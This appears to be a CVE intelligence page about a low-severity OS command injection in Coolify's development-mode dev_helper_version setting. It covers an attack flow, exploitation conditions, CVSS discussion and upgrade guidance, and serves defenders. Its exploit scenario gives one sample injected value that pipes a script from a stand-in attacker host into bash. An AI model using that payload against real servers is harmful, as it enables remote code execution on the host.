Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Coolify admin credentials
-
DeliveryAccess Settings page in development-mode instance
-
ExploitInject shell metacharacters into dev_helper_version field
-
ExecutionTrigger helper image build action
-
PersistDocker build command executes injected payload
-
ImpactArbitrary OS commands run on host server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Four simultaneous conditions are required for exploitation: (1) The Coolify instance must be running in development mode, as the dev_helper_version field and buildHelperImage code path are specific to the development environment configuration - standard production deployments do not expose this path. (2) The attacker must hold high-privilege (admin-level) Coolify credentials sufficient to access and modify the Settings interface (PR:H per CVSS). (3) A user interaction step is mandatory: the attacker or an admin must explicitly trigger the helper image build action after the malicious value is set (UI:R per CVSS). (4) The attack context is local (AV:L per CVSS), consistent with operator-level access to the deployment. Factors that limit exploitation beyond raw CVSS include: development mode is not the default for general self-hosted deployments, admin credentials are required rather than any authenticated user role, and the build trigger is a deliberate manual action rather than an automatically-reached code path. Remote unauthenticated exploitation is not possible under any configuration. |
| Impact | The CVSS 3.8 Low score with vector AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L accurately captures the tightly constrained exploitation conditions. All five limiting factors must align simultaneously: local attack context, high complexity (development mode required), high privilege (admin credentials), and explicit user interaction (manual build trigger). EPSS data is not available in the provided intelligence. No CISA KEV listing exists and no public proof-of-concept has been identified, placing exploitation status firmly at theoretical. Despite OS command injection being a severe vulnerability class in isolation, the operational prerequisites - admin access, development-mode deployment, and deliberate trigger action - make real-world exploitation most plausible as an insider threat or post-compromise persistence mechanism rather than opportunistic external attack. The NVD-assigned impact metrics of C:L/I:L/A:L appear conservative given that command injection inherently yields full server compromise; this discrepancy is likely an artifact of NVD methodology weighting the heavily restricted scope. Production Coolify deployments without development mode enabled are not affected by this code path. |
| Exploit ScenarioDerived | An admin-level Coolify user operating in a development environment navigates to the Settings interface and modifies the dev_helper_version field to contain shell metacharacters - for example, appending '; curl http://attacker.example/shell.sh | bash' - then clicks the button to trigger a helper image build. The server-side buildHelperImage method concatenates this value directly into a Docker CLI command string, causing the injected shell payload to execute on the host with the permissions of the Coolify process. No public proof-of-concept code has been identified, but the attack primitive is elementary for any developer familiar with command injection in PHP shell invocations. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 06, 2026
OS command injection in Coolify's settings module allows a highly privileged attacker in a development environment to execute arbitrary shell commands on the host server by injecting metacharacters into the dev_helper_version field, which is passed unsanitized into a Docker build command. All Coolify releases prior to 4.0.0-beta.474 are affected. No public exploit code exists and no CISA KEV listing has been issued; the provided CVSS score of 3.8 (Low) accurately reflects the highly constrained exploitation prerequisites, though the underlying command injection class warrants upgrade regardless.
RemediationAI
Upgrade Coolify to version 4.0.0-beta.474 or later, which resolves the injection by properly escaping the dev_helper_version field before use in the Docker build command. The fix is available via merged commit dc9322b11f5f4ab96e56af0df7d4f877e96e5e4c and PR #9670 (https://github.com/coollabsio/coolify/pull/9670); the patched release is confirmed at version 4.0.0-beta.474 per the vendor advisory at https://github.com/coollabsio/coolify/security/advisories/GHSA-x9qh-w4c4-54f9. For environments that cannot immediately upgrade, disable or restrict access to the Settings page to only fully trusted administrators, and avoid running Coolify in development mode on shared or semi-trusted infrastructure. Disabling the helper image build feature in development configurations eliminates the vulnerable code path entirely with no impact on production functionality. Note that restricting UI access alone does not eliminate the underlying insecure code - patching is the definitive remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coolify is a PHP/Laravel (Livewire) open-source PaaS alternative for self-hosting servers, applications, and databases (CPE: cpe:2.3:a:coollabsio:coolify:*:*:*:*:*:*:*:*). The vulnerability is in the buildHelperImage method at app/Livewire/Settings/Index.php, which constructs a Docker CLI build command by interpolating the dev_helper_version field directly into a shell string without sanitization, escaping, or parameterization. CWE-78 (Improper Neutralization of Special Elements in an OS Command) describes this root cause: user-supplied data containing shell metacharacters such as semicolons, pipes, or backticks breaks out of the intended Docker argument context and causes the underlying shell to execute injected directives. The Docker daemon then executes the resultant command with the permissions of the Coolify server process. This code path is only reachable in development environment deployments where the helper image build feature is accessible from the settings interface.
Know when Coolify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
AV:L/AC:H/PR:H/UI:R retained from vendor assessment; impact raised to H/H/H because successful OS command injection yields full server-level compromise regardless of constrained entry conditions.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, the buildHelperImage method in app/Livewire/Settings/Index.php constructs a Docker build command using the dev_helper_version field without shell escaping, allowing an attacker who can set the helper version and trigger the helper image build in a development environment to execute arbitrary commands on the server. This issue is fixed in version 4.0.0-beta.474.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,
Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo
Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d
Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute
Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.
Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic
Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via
Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo
Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi
Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg
Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss
Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica
EUVD-2026-41953
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB